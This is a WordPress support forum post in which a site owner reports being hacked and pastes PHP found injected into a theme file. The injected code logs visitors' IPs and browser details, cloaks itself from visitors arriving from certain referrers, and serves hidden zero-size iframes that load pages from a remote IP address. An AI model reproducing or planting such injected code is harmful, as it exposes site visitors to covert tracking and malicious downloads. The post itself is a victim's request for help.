Title: 2.3.3 Hacked
Last modified: August 19, 2016

---

# 2.3.3 Hacked

 *  [wordpress783](https://wordpress.org/support/users/wordpress783/)
 * (@wordpress783)
 * [18 years, 4 months ago](https://wordpress.org/support/topic/233-hacked-1/)
 * I just noticed this in my wp-gm file. I landed on a page from Google and get 
   a nasty surprise. Any help would be appreciated.
 * <?
    echo “<!– counter –>”; $dat_file=”images/z1.txt”; $log_file=”images/z2.txt”;
   $f=fopen($dat_file,”r+”); $count=fgets($f,100); fclose($f); $count=ereg_replace(“\
   n”,””,$count); $count++; $f=fopen($dat_file,”w”); fputs($f,”$count”); fclose(
   $f); ?> <? $f=fopen($log_file,”a+”); $ip=getenv(“REMOTE_ADDR”); $ag=getenv(“HTTP_USER_AGENT”);
   $host=getenv(“HTTP_REFERER”); $data=date(“d-m-Y”); $time=date(“H:i:s”); fputs(
   $f,”$count#$data#$time#$ip#$ag#$host#\n”); fclose($f); ?> <? $expl=1; $referer
   = getenv( “HTTP_REFERER” );
 * if (strstr($referer, “adbrite”))
    { $expl=2; }
 * if (strstr($referer, “copyscape.com”))
    { $expl=2; }
 * $rlen=strlen($referer);
    if ($rlen==0) { $expl=2; } ?> <? if($expl!=2) { echo“
   <iframe src=\”[http://64.86.135.13/~craifain/fonts/.mp/index.php](http://64.86.135.13/~craifain/fonts/.mp/index.php)\”
   width=0 height=0></iframe>”; echo “<iframe src=\”[http://64.86.135.13/~craifain/fonts/.ip](http://64.86.135.13/~craifain/fonts/.ip)\”
   width=0 height=0></iframe>”; echo “<iframe src=\”[http://64.86.135.13/~craifain/fonts/.xc/top/](http://64.86.135.13/~craifain/fonts/.xc/top/)\”
   width=0 height=0></iframe>”; } ?>

The topic ‘2.3.3 Hacked’ is closed to new replies.

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 0 replies
 * 1 participant
 * Last reply from: [wordpress783](https://wordpress.org/support/users/wordpress783/)
 * Last activity: [18 years, 4 months ago](https://wordpress.org/support/topic/233-hacked-1/)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
